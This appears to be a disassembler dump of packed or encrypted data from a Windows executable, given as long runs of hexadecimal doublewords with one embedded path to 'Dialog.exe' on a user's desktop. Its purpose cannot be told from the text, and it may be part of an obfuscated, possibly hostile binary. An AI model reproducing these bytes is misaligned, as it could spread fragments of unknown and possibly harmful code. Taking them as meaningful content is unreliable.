		dd 72C7DB00h, 0A4F62Ch,	3BF5FCDBh, 82B1DBE9h, 0BCBE359h
		dd 67A03904h, 0AC8FA7B0h, 0EFD8EDEAh, 0E05D282Fh, 894E193Eh
		dd 0A4760570h, 0D2989EB3h, 27E3F089h, 53h, 0A072AB25h
		dd 1EFB9FB7h, 5274C9B6h, 0ECB0EDFFh, 0D8BA31EBh, 8F884A1Bh
		dd 67318777h, 0D6F85359h, 18BA2E09h, 0AD6734FFh, 0C24ACC3h
		dd 0F07A454Ch, 53593BBAh, 0F8A30E83h, 3B275DA3h, 262D5359h
		dd 25E96A0Eh, 3B9CF238h, 9BA2D359h, 0AD4286h, 6840000h
		dd 92D8C511h, 0DB018C3Dh, 0F4713C43h, 37203522h, 1BA57067h
		dd 0DB018DE0h, 0D07BE6F7h, 0BAD2C597h, 0BB6007D7h, 8454D19Ch
		dd 3C517293h, 64518592h, 0E5101D42h, 627A0719h,	2D50E63h
		dd 3D43B7Ch, 0D0F1C590h, 0A301C8B8h, 7E2AFh, 1479C35h
		dd 0E2AFA3CBh, 0AFC8E7C5h, 3B16D50h, 5101E4FCh,	0B2D3C496h
		dd 0CBCC8CC5h, 3E1B3300h, 0EB1032C3h, 0DAFD9CDAh, 59B2A820h
		dd 657D9EB9h, 868FDF4Ah, 0ED9FE9Eh, 534E8741h, 5279F116h
		dd 4E0B4431h, 56017E49h, 88A97641h, 642B7170h, 6AEA5D56h
		dd 561B5197h, 1A21EA5Dh, 6F8E4F9h, 9FD8C511h, 4411DCFBh
		dd 20E72D2Ch, 26DB06BFh, 5BF9321Fh, 8CA4713Ch, 7BC116AFh
		dd 0DB06BF45h, 0D1C6944Bh, 0E5B598B0h, 9FD8DDF2h, 4714DFF8h
		dd 0BFDE145Ah, 0DDE4DB06h, 2730E2C5h, 699FE53Ah, 6FDB06BFh
		dd 0E9735068h, 47BFB9B2h, 0C958C3BEh, 10F90E09h, 17E494Eh
		dd 0D0C79255h, 2A173805h, 6B3621F1h, 2EA9869Eh,	0D7871681h
		dd 0FB9AD3C0h, 0A26D6A2Ch, 759CB4D5h, 2CDCA8Ch,	32Ah, 3EDC6C00h
		dd 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h
		dd 0DD8FF9Eh, 2CDCA90h,	0F9C4D385h, 0F4BFD87Ch,	0E689563Ch
		dd 4C681h, 0EE830000h, 24348704h, 240C895Ch, 0ABA68h, 243C8900h
		dd 64F268h, 24148900h, 22CEBB53h, 0E3C14EB6h, 7EBC105h
		dd 2CAEC381h, 0F3815684h, 5F9CFBE7h, 1C8BDF89h,	4C48324h
		dd 24148B54h, 4C481h, 0BB530000h, 8, 3B89D301h,	81241C8Bh
		dd 4C4h, 24148B00h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0FF5C2414h, 815F2434h, 4C4h,	2BE5E900h, 429DFFFBh, 5F962984h
		dd 0B8283A04h, 7AD5348h, 0E0FFC503h, 3DE430B2h,	51C1414Eh
		dd 4FF63556h, 6FB047Fh,	67AB9FC9h, 8438CCh, 36384F52h
		dd 4B5DD837h, 6EB58FF1h, 27784824h, 59570E2Bh, 733DC41Eh
		dd 2FD82BF8h, 57CEC1E0h, 474769B0h, 40F1AFE6h, 32F34A61h
		dd 7CC5813Dh, 5E8h, 7AC70D00h, 81661360h, 5A087DD0h, 0BE8h
		dd 3E344800h, 1B2157BEh, 7B62B963h, 0C28158F9h,	74F0h
		dd 14E850h, 0FD060000h,	68B15A5Ah, 39DDBAA5h, 0FEC251DBh
		dd 86D6B6EAh, 8166AD84h, 5EB085C8h, 685Eh, 0BF0F0000h
		dd 0F0815FC0h, 19F75495h, 0F3A0C8Bh, 588h, 4CD5B800h, 0F1813697h
		dd 5AF2B1Dh, 81D88B66h,	4EB2C2F1h, 0C181F547h, 11F26D52h
		dd 0BE519BB3h, 1285F588h, 833A048Fh, 1EB004EFh,	8BB4FF81h
		dd 850FFFFFh, 0FFFFFFC0h, 10E9h, 8ECAD200h, 0E575A6B5h
		dd 6A1F64CDh, 6563270Eh, 186D383Ah, 0C0E1A23Eh,	45CE1631h
		dd 0C74F240Ch, 0CFB045BAh, 40BC3986h, 7D64DCF4h, 0C74F97C8h
		dd 43EE2D31h, 68E1298Ch, 0D9931636h, 6C5861h, 0C0E38689h
		dd 45624B31h, 4DE0C914h, 6A5793ACh, 9B34A736h, 0C55AAF69h
		dd 0C0E0BE37h, 93B71C45h, 0C0E38689h, 45624B31h, 4DE0C914h
		dd 6A4AA2ACh, 9B34A736h, 96E74669h, 0C0E715D9h,	3B92B31h
		dd 0E4930C6Fh, 0E4A34335h, 0C0E77C35h, 3B1F631h, 41C77127h
		dd 2333A1D5h, 4181E047h, 0E95974E8h, 68FFFCB4h,	96E7A836h
		dd 0C0E762D9h, 3B99031h, 0E493D16Fh, 0E4A3AD35h, 0C0E70B35h
		dd 3B14D31h, 0B15A539Eh, 366F2251h, 0D40E6EF2h,	52E7B031h
		dd 487C2A1Eh, 8C8ACC9Ah, 0CB9CB8D5h, 0C3742B7Ah, 4B3C69FDh
		dd 415ACBF1h, 0A6E0C921h, 418168BDh, 6811A7EBh,	0EF632335h
		dd 0CFE71632h, 0C0E70DB8h, 0DD7A0C31h, 0A6E06A29h, 7D64ABBAh
		dd 0C74F9AE0h, 0D4635731h, 35E72C31h, 0C0E41BD8h, 7D6E6B31h
		dd 0C74FA120h, 364C29B0h, 7E8661E3h, 0C2E79731h, 28B1585Bh
		dd 0C0E72C32h, 9E244811h, 0C4C37FB8h, 0C4C3C1B0h, 0C0E7C227h
		dd 0BD243777h, 4D1B6F17h, 6B7783B4h, 0B1522D36h, 3FE0BE35h
		dd 90E761E1h, 0C0E786D9h, 3BFE231h, 0E4A3E869h,	0E4A33135h
		dd 0C0E74035h, 3B76C31h, 6CF880D8h, 0A17A80E4h,	45E02D3Dh
		dd 6263CDF1h, 0A6E76131h, 0F8667FBAh, 3B663E66h, 0C0F9A93Eh
		dd 75D61631h, 0C74F114Ch, 0D71610BAh, 4181C599h, 0C2E56549h
		dd 0C25C343Eh, 556C5831h, 0C74F2BDCh, 5CDF9757h
		dd 0AA620451h, 0AAE78531h, 0C30F9331h, 0E0E76131h, 49BE7368h
		dd 41E37C7Dh, 0DDE30875h, 81E71631h, 8CD5C860h,	0CD9E2972h
		dd 0BE8F26D7h, 0EAD2F4B8h, 0B867B799h, 45E8B033h, 0C0E72C04h
		dd 0E3528330h, 41810C99h, 6BE78349h, 0C0C4473Eh, 49E86131h
		dd 0C0E7B031h, 0E16AD5BAh, 920E2B99h, 0CFE71633h, 0C0E707BFh
		dd 0C66F8A31h, 0C9E7C231h, 68E2C88Ch, 0C1E70E36h, 456A1E30h
		dd 0C74CBCEAh, 28B5165Bh, 0C0E70B32h, 9A24DF11h, 0C4C396B8h
		dd 0C4C325B0h, 0C0E7B02Ah, 0B4240A73h, 0ECA59973h, 4914F28Eh
		dd 68FF16A4h, 8C280536h, 376712CEh, 0CF27E449h,	0C0E609B5h
		dd 93E73231h, 0C0E72FD9h, 3BC3631h, 0E4BB826Ah,	0E4A30435h
		dd 0C0E7D835h, 3B42231h, 195F7E7Eh, 41DD35DFh, 0C2DA4A09h
		dd 0E1621933h, 29E70B31h, 0C0E7853Eh, 2A2BA3F6h, 0C1CDB8DDh
		dd 1F327D8Dh, 41683FAAh, 0FD812A49h, 44E86C6Eh,	0C0E70A9Ch
		dd 5CDF0457h, 0B862CD51h, 40E76131h, 0B86757F2h, 45E8B033h
		dd 0C0E72C5Ah, 28B2165Bh, 0C0E70B32h, 9D24D811h, 0C4C3AEB8h
		dd 0C4C325B0h, 0C0E7B02Ah, 6F240D74h, 96952CA1h, 90069B7Ah
		dd 0C47696B8h, 0A6BD8299h, 0C0E1BAB0h, 0F4626EF1h, 0CBE7B031h
		dd 68E255A4h, 0C1B4C536h, 0C08D1631h, 0C0E4E360h, 99C78531h
		dd 8C6E9BF2h, 84666515h, 0C0FFB415h, 91A65831h,	7DB1A0F2h
		dd 77E844C0h, 0A1523ACBh, 7EE02D36h, 0BEE6C331h, 28B2615Bh
		dd 0C0E7B032h, 9D240511h, 0C4C340B8h, 0C4C352B0h, 0C0E70B25h
		dd 9924D074h, 503C47BCh, 7FE8669Ah, 0A6374FE3h,	0EB99BB0h
		dd 44E8ECB4h, 0C0E7169Fh, 28B60B5Bh, 0C0E78532h, 99249B11h
		dd 0C4C32DB8h, 0C4C3F4B0h, 0C0E7582Ah, 3A247D70h, 0BACCC6DEh
		dd 4063EB3Dh, 45E86D09h, 0C0E7C20Fh, 28B0615Bh,	0C0E7B032h
		dd 9F240711h, 0C4C350B8h, 0C4C352B0h, 0C0E70B26h, 0C224D276h
		dd 40EF6890h, 0CF946449h, 0C0E7A5B4h, 280CD831h, 93E054B1h
		dd 0C068923Eh, 0C3B50B31h, 68FA34ACh, 41819D36h, 0CFE2EE09h
		dd 0C0E789B4h, 5DE4A031h, 0C74F3B38h, 0A8E16EB1h, 0C0CF8E3Eh
		dd 4CE88531h, 0C0E7C233h, 4181DF83h, 0A63028FEh, 3FEC20B0h
		dd 0CF622314h, 0CFE71631h, 8A0ED186h, 0E9E78531h, 68CF4FBCh
		dd 0CC9D36h, 0EECE2D1Ah, 0B30E5F99h, 0AAE72C31h, 0C30F4331h
		dd 0E0E70B31h, 49BA466Ch, 41E3E65Dh, 0DCE34575h, 85E7B031h
		dd 0E5DB9B64h, 873DB7E5h, 295D47B2h, 0C0E70B3Ch, 65A496FFh
		dd 0D6C453D2h, 0DC386162h, 0C0E608FDh, 0C08D5831h, 0C0E4C466h
		dd 9FC71631h, 0BC6E54F2h, 84668115h, 0C0FEC615h, 97A06131h
		dd 0C32918F2h, 4B478FE8h, 68F4B18Ch, 0C0E2FE36h, 72280B31h
		dd 0CB98A933h, 68FDF78Ch, 7BB73A36h, 0A4DA9A9Dh, 0AAC35CB8h
		dd 0C30F7E31h, 0E0E71631h, 49BDC86Bh, 41E3A165h, 0DDE3E675h
		dd 82E76131h, 7E777363h, 65B1DC80h, 6FD646A9h, 161FDC8Ah
		dd 145A8619h, 4DE02865h, 6DBE7EBCh, 95C4D936h, 45E4C757h
		dd 0C74F5878h, 2926E31Ah, 0C3317E33h, 615BBEE6h, 0B03228B2h
		dd 511C0E7h, 40B89D24h,	52B0C4C3h, 5E983C3h, 5358A4F3h
		dd 5FDFF680h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	49C35343h, 0AC3008C3h, 75BF6654h, 0FC00BBDh, 6B84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8EDCD64h, 0B58D660Ah, 7A84E4Dh, 2A2D8D09h
		dd 3B807A8h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8535C355h, 0C9F65E28h
		dd 95891DC5h, 7A814A5h,	8166E6FFh, 6041BECAh, 0D19509F5h
		dd 6107A830h, 0E1958940h, 8B07A827h, 0D85EBBC0h, 0BD8310A0h
		dd 7A827F9h, 83097500h,	0A80605BDh, 19740007h, 0C08B5350h
		dd 403B8h, 0CD858900h, 8D07A80Eh, 0AAB08A9Dh, 5BD3FF07h
		dd 5BD8358h, 7A806h, 53501774h,	403B8h,	0CD858900h, 8D07A80Eh
		dd 0AAAD2B9Dh, 5BD3FF07h, 0B9BD8B58h, 107A832h,	0A829D985h
		dd 0CA8B6607h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 2FF589C3h, 0E86175DFh, 10h, 4886E18h
		dd 0AE2CC30Dh, 497369D3h, 6A41E9EFh, 8B58DE8Bh,	0A8212DBDh
		dd 0C4C08107h, 0F00005Ah, 6EBEDEBFh, 817D83D8h,	83CEE8F6h
		dd 9589607Dh, 7A83331h,	1D618529h, 8B6107A8h, 0C1D38110h
		dd 811FD4ACh, 0DE4AFF2h, 0A8BF6637h, 17EA81C0h,	8B5466F1h
		dd 0A828218Dh, 70F28107h, 66500E6Eh, 0F52D88Bh,	8FFEBFh
		dd 4D92EF81h, 0E88337A3h, 8D9D8B04h, 8107A80Bh,	1EEh, 19850F00h
		dd 81000000h, 0BD78C2F1h, 22E903h, 291F0000h, 1426F0AFh
		dd 0FD63FF19h, 1B2B0FD5h, 0FBFFBB66h, 0FFFF96E9h, 0B2BB80FFh
		dd 28758B56h, 0C9D18EEEh, 0E6A5746Ch, 8D42B155h, 0FFF0A9DBh
		dd 58C3ACBh, 39E96CFh, 8CAD1260h, 68C10D5h, 2BF5AF9Bh
		dd 0E2415A4h, 1242B82h,	56247803h, 1241169h, 0C27B32C0h
		dd 25589B3Fh, 25609334h, 124071Ch, 0C273550Ch, 0B4AFBB20h
		dd 68C2642h, 0E401A8E7h, 1266929h, 5AE1D60h, 67241230h
		dd 0EE61EA2h, 0E8B4E3B3h, 1241215h, 314C648Eh, 0EF1F994Dh
		dd 0D03103BFh, 7755E946h, 51147134h, 91D7997Eh,	0E9771266h
		dd 1241205h, 5AE74923h,	5004E08h, 5005641h, 1241278h, 55E74173h
		dd 44F4FB34h, 0FB2AA0B7h, 130FB55h, 0CEB81203h,	947DC1DFh
		dd 744979DAh, 4749F03Ah, 0BDE02C2Ah, 2B7CBEh, 0E9DA3640h
		dd 124120Dh, 0C73FAC19h, 63CA66DEh, 2843302Ah, 0A90983E5h
		dd 6B7C4D37h, 2CC4218h,	2124120Ch, 887CD15Eh, 80203647h
		dd 1A2036C5h, 412412C0h, 6CBD130h, 0DBE5B449h, 0C1A772DDh
		dd 24919B20h, 8A23BA06h, 5124780Bh, 1241169h, 0C27C32C0h
		dd 25609B38h, 25609334h, 124061Ch, 0C274520Ch, 3A01D72h
		dd 0B7241203h, 49AF74DCh, 5724783Ch, 1241188h, 0C27A3230h
		dd 25509B46h, 25609308h, 1240602h, 0C2725403h, 9CAD72D6h
		dd 68C1271h, 0C08AAB06h, 12EFA51h, 0D3451218h, 0D087DE64h
		dd 7C445602h, 80424CFBh, 0EDB24B8h, 124E444h, 6D39360h
		dd 285B2BA8h, 0A90D1FADh, 8E5910Bh, 0F6DAF2Fh, 38A415ABh
		dd 3CA11D68h, 6B2412C1h, 2CC4760h, 21241230h, 8879D145h
		dd 80203660h, 1A203642h, 44241203h, 72FAD1D4h, 2DD2A9F4h
		dd 40AF7DF3h, 1CA51D31h, 0E9241218h, 124121Dh, 0F523D691h
		dd 0B96F9162h, 111E8E2Dh, 34327F72h, 1AE1D8Ch, 5F241230h
		dd 20098F31h, 0C92715A4h, 0E975126Ch, 1241200h,	58E74BA1h
		dd 5005E49h, 50056E1h, 124122Dh, 2AE74359h, 0B56DA42Bh
		dd 1041FA5Eh, 4E59100h,	0E97512EBh, 12412C3h, 58E74B40h
		dd 5005EB9h, 5005699h, 124121Bh, 0E4E74347h, 0E85320Ah
		dd 124140Bh, 0C0A91BC0h, 8023BA64h, 426F8209h, 8CA11D93h
		dd 6B24120Ch, 2CC4306h,	21241203h, 887DD1D8h, 8020368Ch
		dd 1B203624h, 40241230h, 4734D149h, 4186168Bh, 0E49199BAh
		dd 8C23BA0Fh, 0A96A5F0Ch, 542478C7h, 1241188h, 0C2793230h
		dd 25489B45h, 25609308h, 1240A02h, 0C2715703h, 6E59C54Dh
		dd 0D99B1D2Ch, 12411D8h, 56247830h, 12411F0h, 0C27B320Ch
		dd 25589B59h, 25609307h, 1240985h, 0C27355C0h, 15922A27h
		dd 0E2556C59h, 15CD8F31h, 0E0DB15A4h, 645A78Fh
		dd 0BC0715ABh, 68C0A9Ch, 532478A1h, 1241188h, 0C27E3230h
		dd 25709B42h, 25609308h, 1240902h, 0C2765003h, 81CB3846h
		dd 5A7D736Ah, 5A93AFEDh, 8CA9159Dh, 6894CDFh, 93A766B4h
		dd 34A12107h, 2A23BA37h, 3CDD34Eh, 0E6A5746Ch, 8D42B155h
		dd 0FFF0A9DBh, 58C3ACBh, 39E96CFh, 8CAD1260h, 0F305E983h
		dd 81C08BA4h, 481B7CD7h, 0CE94Eh, 8B490000h, 8452F3A6h
		dd 0E6578DB9h, 66604E6Eh, 8D0FD08Bh, 6,	2D898D29h, 8B6107A8h
		dd 0CE8C3h, 42220000h, 45BBF923h, 1F3FABB5h, 58FC8C9Fh
		dd 0AE5B58Bh, 0C08107A8h, 5A32h, 33A1958Bh, 5F6807A8h
		dd 56000016h, 138B0Fh, 0EE90000h, 35000000h, 0E5A2B325h
		dd 3AEE7C74h, 9E457A1Ah, 8B5B5F60h, 0A82CC5B5h,	89088B07h
		dd 0A8349D95h, 3FF18107h, 81657BFFh, 731781E9h,	6E870h
		dd 65B10000h, 0C342690h, 25F19D89h, 815F07A8h, 719589C1h
		dd 89D78B7Ch, 54DE8108h, 833EA5B2h, 8B6602E8h, 0F94848FAh
		dd 10850F4Bh, 29000000h, 0A8136D9Dh, 22E907h, 3F370000h
		dd 81BF3F0Bh, 73427FD6h, 0FF9FE920h, 516FFFFh, 6F3F3B1Ah
		dd 0E8AF35Eh, 13852E07h, 6D3FC9C0h, 60ED8D8Dh, 6A07ADh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0D5459BC3h, 0C0B70F67h, 17318D89h, 6A07A8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 196666C3h, 0F1816049h, 79EEEB11h, 61858956h,	5807A807h
		dd 0F1B70F61h, 0A5985C7h, 6AAC07A8h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9266E1C3h
		dd 0F93BCC40h, 459D89E3h, 0F07A81Eh, 684h, 1D850300h, 0C707A827h
		dd 0A8093985h, 7, 6E900h, 0AAA40000h, 92CB96FDh, 0AFDB5FFh
		dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 9FDC26C3h, 14547AA3h, 8B603E67h, 0A824A99Dh
		dd 6161B507h, 1A9995FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 782F58C3h, 9F184229h
		dd 918501CFh, 6A07A82Dh, 2195FF00h, 8B07A80Dh, 0AB28EBC0h
		dd 123A3627h, 0D770E89Dh, 0AAEDA701h, 0DB86672Ch, 38EBC944h
		dd 72A2F9Ah, 0CD6D934Ah, 0BC68A25Ch, 1D3D3CEAh,	8D1EC628h
		dd 0A80E7D9Dh, 0CEB807h, 85890000h, 7A830E1h, 0E8h, 0D055800h
		dd 89000000h, 0CEE903h,	0
		dd 32h dup(76F2h), 0FFFF76F2h, 12E8h, 0BFD2AE00h, 0F9B5030Ah
		dd 752DBA95h, 10F14B1Ah, 0FAADC63h, 0F85h, 0AE900h, 0B0090000h
		dd 0C5AA3CE9h, 0CF24D5B0h, 11E958h, 0E9850000h,	0BF7CB3FFh
		dd 6DDF1734h, 7C29FA61h, 8149E44Dh, 5F12C0h, 128D0F00h
		dd 60000000h, 1364B866h, 6E8h, 3DE78200h, 5ADB99C6h, 0BA61h
		dd 0EB8A0000h, 5E0234FFh, 4137EE81h, 8D0F30B1h,	4, 3158B966h
		dd 2A54F681h, 0E3803DF5h, 93C6819Ch, 8139AD26h,	13EF4CC1h
		dd 0D88B5626h, 6610048Fh, 0EA83CE8Bh, 29CD8004h, 0A1C8FA81h
		dd 850FFFFFh, 24h, 7E9h, 3974D000h, 11F616ECh, 26E9h, 0C378F900h
		dd 6220369h, 0D01088FAh, 6729C7C2h, 0AEEA463Dh,	0E9DF8B66h
		dd 0FFFFFF90h, 53B661D1h, 0CE17DDA0h, 0E9DCC150h, 9Bh
		dd 346DFF66h, 445C3A43h, 6D75636Fh, 73746E65h, 646E6120h
		dd 74655320h, 676E6974h, 614D5C73h, 6D697472h, 72614320h
		dd 656E6F62h, 7365445Ch, 706F746Bh, 6169445Ch, 2E676F6Ch
		dd 657865h, 16h	dup(0)
		dd 0E9000000h, 0E9Eh, 0AD653268h, 0E63FE907h, 2A68FFFBh
		dd 0E907AD66h, 0FFFBE635h, 0AD67AC68h, 0E62BE907h, 0EB68FFFBh
		dd 0E907AD67h, 0FFFBE621h, 0AD68B868h, 0E617E907h, 5E68FFFBh
		dd 0E907AD69h, 0FFFBE60Dh, 0AD6CE868h, 0E603E907h, 0BA68FFFBh
		dd 0E907AD6Fh, 0FFFBE5F9h, 0AD70BC68h, 0E5EFE907h, 0F9E8FFFBh
		dd 0DBD101Fh, 2197EAF9h, 7673C6D5h, 9C4A9DACh, 0B1327382h
		dd 0B9C85290h, 91A07666h, 6A798F3Eh, 4554A617h,	0E3BF2809h
		dd 0C77A12A5h, 0AA1E352Ch, 799A6A5Ch, 12E4D566h, 0D05A9320h
		dd 0C45E8CA3h, 0F9A75EA3h, 566B85B2h, 0D665FBDFh, 3D3072DBh
		dd 0FA7A7266h, 0D13A9DBEh, 7A0E65C6h, 7D5C4ECEh, 6ABE1521h
		dd 545D6D87h, 0E6CF6524h, 2A30h, 2F71E900h, 0C5DE4774h
		dd 0E77A0D48h, 8967567h, 0A06ABD3Ch, 3D6D3486h,	23E6D042h
		dd 48336FD8h, 0F7776ABDh, 0E299D6h, 0A1520000h,	0A5C6508Ah
		dd 0C1B34576h, 564CB500h, 75726542h, 0F0C0B244h, 63556D6h
		dd 0BF4C3ED8h, 77833F0Eh, 3D88493Bh, 1661B726h,	7265428Ch
		dd 4E7D9E1Eh, 475E8B9Dh, 0BD8D7F9Bh, 0BBB2579Ch, 72726547h
		dd 991CF258h, 43750FCBh, 0B5F1C1B3h, 0E5746594h, 0D8E723F3h
		dd 0D0C25485h, 30CAF80Fh, 0BA4D6E3Eh, 258EBBE6h, 7A0CA1FEh
		dd 681F2EAEh, 2D447138h, 0A67668BEh, 0C0D72285h, 3A0AFC0Eh
		dd 7299819h, 82BF7267h,	0FACABC4Ah, 0DD4691BEh,	6311A6C5h
		dd 0E14465E5h, 0F3021CCAh, 0C2D822A0h, 2DB8832Bh, 598762FAh
		dd 0A300000Ch, 78CBDA24h, 52A5B446h, 2E81909Eh,	55867B1h
		dd 0ED2E3DD9h, 85914DF6h, 5DA92376h, 36C0FB4Eh,	111BD427h
		dd 7CE5C602h, 7A12A726h, 0D542E984h, 0ABFE0DE9h, 0A2D9E832h
		dd 47742F71h, 23F3E5FCh, 0BF406131h, 7A0D48E4h,	955648C8h
		dd 0D140347Bh, 96B7BC5Ah, 0BCDF8915h, 0B5051F6Ah, 0D09EBCECh
		dd 0CAC8E6h, 0D5810000h, 0EAB821E4h, 0C0726542h, 51120440h
		dd 1B7823Ah, 0F73303F5h, 0E5143505h, 0D6F01DF9h, 4631AB8Ah
		dd 628AAB51h, 654EEA83h, 0B4467772h, 8F9952A5h,	36C2DC9Dh
		dd 1756DDF8h, 0A1FF92B3h, 0AF74DD0Ah, 0FD7A0D91h, 0CDE76E7Dh
		dd 7ED20D33h, 31C4E520h, 0BC07346Fh, 0A4F0FFA2h, 4B7D46DDh
		dd 0BDF9C9BBh, 7A951B9Ch, 0B1317268h, 0BF1F3984h, 7AAC5E75h
		dd 0FBBEA0Bh, 125DE4F3h, 1310F9A9h, 1031B163h, 319E5E1h
		dd 2DB92872h, 61BE9931h, 0AB00000Bh, 80D3E23Ch,	5AADBC4Eh
		dd 36899866h, 0D606F89h, 0F53645D1h, 8D6955EEh,	65B12B7Eh
		dd 3EC80356h, 19E3DC2Fh, 84EDCE0Ah, 7A12A81Eh, 0D54AF18Ch
		dd 0ABFE0DE9h, 0A2D9E832h, 2012E4D5h, 0F7AB145Fh, 0B3726541h
		dd 0EAE31233h, 738A1120h, 29F3F079h, 716EFBEDh,	0B74A6BA7h
		dd 2C95C2E9h, 7A0D4A3Fh, 0AC8B7DFDh, 6ABD39F2h,	830E9CB6h
		dd 0E6D04453h, 75Fh, 0D4871800h, 0C0000007h, 47742F71h
		dd 7B6DBF30h, 0BE278AABh, 7A0D5EC5h, 0A83527A7h, 40A9F437h
		dd 6ABD2762h, 257DC848h, 856ABD27h, 33BAC905h, 27237FE8h
		dd 7876ABDh, 2A4BDD0Eh,	4638C2FBh, 14A6167h, 6842DAD2h
		dd 8C9B6D5Eh, 84768039h, 7903FAA5h, 0FA459E03h,	79041191h
		dd 0C2599903h, 16305F27h, 3030518Dh, 89934C9Ah,	0E0DCF37Ah
		dd 33542416h, 4F41CB04h, 786E2B70h, 69419303h, 8B9A6C5Dh
		dd 83758738h, 66930E92h, 2079D2FDh, 0D0081F0Bh,	63845446h
		dd 62849313h, 0DA438E77h, 0FBD063C8h, 253FCB03h, 0AFF184A5h
		dd 595EC7F4h, 7B037869h, 68BA8FBh, 3FD2393Eh, 0D21D4A61h
		dd 177C3969h, 0D0F17116h, 83FF046Dh, 0ED6D1DBFh, 0AB233AFBh
		dd 0F5AB3E5Fh, 0F22EF8F1h, 0ED5C5CC5h, 0FA7A161Ah, 736B82CDh
		dd 31C38CE7h, 0E31F30C2h, 0D10021F1h, 78FF0E18h, 0AB9D6961h
		dd 528BBADBh, 0FEF7B2C8h, 3ED6494Ah, 9DF63h, 60BE2900h
		dd 3ACCFE51h, 16E0D82Bh, 0ED37B407h, 0C35F8BDEh, 0CF7073B4h
		dd 0A5F80713h, 7DD0DF37h, 56A9B84Eh, 48849365h,	0A9A4FE67h
		dd 6B067A12h, 12E4D5C4h, 14E78FFCh, 0A37E16DDh,	9A0h, 1221FFEAh
		dd 0ECFB0FBFh, 0C8D72799h, 9FAE4875h, 75849E4Ch, 508EAF34h
		dd 6864B7C6h, 813C8F9Eh, 0A4156877h, 26074352h,	12A9E5BDh
		dd 832AC57Ah, 6455E4D5h, 76DFA092h, 7265422Ch, 86C2FE7Eh
		dd 3FDB0794h, 35C1FB12h, 0D527343h, 0BBE5EEEBh,	5D5AC3F0h
		dd 777A0D48h, 46B0CAF7h, 0A841E5CFh, 0E1FE87A8h, 2C79C582h
		dd 0BFE34C97h, 0CA8FF12h, 0AA2A44DEh, 0FFAAF689h, 199A69D2h
		dd 52D2B0A7h, 1FC30B25h, 0E6153C62h, 0E9E21EF8h, 5F2F21FDh
		dd 7B25163Eh, 7894253Fh, 88882931h, 570C653Dh, 89C545A1h
		dd 84C5F35Ch, 9111A902h, 0CD9C4D64h, 9DCA0610h,	0C8045786h
		dd 4010023Eh, 5687DA1Fh, 0B5E7AEC4h, 26BEFA52h,	8D34Bh
		dd 54A21D00h, 2EF8F245h, 0A14CC1Fh, 0E13BA8FBh,	0B7437FD2h
		dd 0C37C67A8h, 99ECFB07h, 71C4D323h, 4A9DAC7Ah,	3C788791h
		dd 0AAB0F25Bh, 5FFA7A12h, 12E4D5B8h, 0CE589320h, 0AA2138BFh
		dd 48BA3B5Ch, 0DF726543h, 0A6BDEAC1h, 22F2E432h, 3C539E01h
		dd 0B5857781h, 0A5821394h, 0E4FB7A12h, 9E2E20EAh, 7B0D726Eh
		dd 7D9EDA80h, 50E6ED2Dh, 0CAFB6B83h, 0FB6F5CCEh, 5D99603Ch
		dd 56A01930h, 74FBF447h, 2BBBAD77h, 4C165E6Fh, 336FAB60h
		dd 0EC36B441h, 0A52239FAh, 7899695Bh, 6E849249h, 25461691h
		dd 2D01DC74h, 77000008h, 4C9FAE48h, 26798892h, 25564B2h
		dd 0D92C3BC5h, 0C10211EDh, 59A52122h, 31C5F74Ah, 0A1CCF22h
		dd 0E537A8FBh, 50B99AD6h, 7A12AB52h, 0A116BD58h, 0D0C25C8Ah
		dd 3FB0DF00h, 203AFBEDh, 34BCB01Fh, 437293F5h, 0D48E808Ah
		dd 0C1FACCDEh, 0FDF30A37h, 0BAAC7674h, 488DAEEAh, 276890C0h
		dd 4B99CDFh, 71550000h,	0FC47742Fh, 425A48B1h, 0D0507265h
		dd 0C8702BD4h, 5475D716h, 13A0C2D3h, 214ECE7Ah,	3847D10Ah
		dd 96881B81h, 254736B7h, 0A4F610E4h, 214C7DEh, 0C4D7DE1h
		dd 46596041h, 12000000h, 4B782B71h, 32F3E900h, 6542D9C9h
		dd 1551D172h, 1A389323h, 0E3D086DDh, 9D0586A7h,	0FA72663Bh
		dd 291BE7E3h, 0ABE83859h, 0B9ABE733h, 0CD9E08DAh, 0BC0E2892h
		dd 8EA0C5F5h, 7D1FFh, 878A0000h, 1E0h, 568AA1C0h, 0E506D6C8h
		dd 65574A52h, 0D1AE6786h, 0F5C5DFEBh, 94A97CACh, 438858h
		dd 71410000h, 0D33C872Bh, 726542CFh, 92105BDBh,	18726542h
		dd 182F5C98h, 0A0F795A7h, 16F0B19Eh, 0D091B9DAh, 13861C85h
		dd 0A4247266h, 7FCC0283h, 223CEBD2h, 0D2D90988h, 85E55893h
		dd 4E000000h, 4F708A37h, 782B713Ch, 42C0E24Bh, 6AEA7265h
		dd 61B7263Dh, 85A67068h, 1D390B1Fh, 555C6EF8h, 0DF277C25h
		dd 5B31h, 87A1EA00h, 64585DB8h,	47319692h, 0BAE27596h
		dd 586FBAE7h, 584A9567h, 5272663Ch, 0E2D0D6D2h,	0B62F5777h
		dd 0DBC93295h, 0D37265DCh, 87541253h, 75BCD6D3h, 2A78E190h
		dd 80726583h, 23BD0400h, 0A8FF1E1Ah, 8BF02C9Ch,	51506A6Ah
		dd 0DF276621h, 72Dh, 187E600h, 0C0000001h, 0B5ED56A1h
		dd 0F5726542h, 0A8D75475h, 0C0000000h, 87F03DA9h, 7265421Bh
		dd 0B2D30F8Fh, 782B719Fh, 8552A786h, 0BB27C7B5h, 0EFE06D5Fh
		dd 4D9F2B1Dh, 0F812267Dh, 0BCC6E0A2h, 0F71F5BF0h, 0C90511C9h
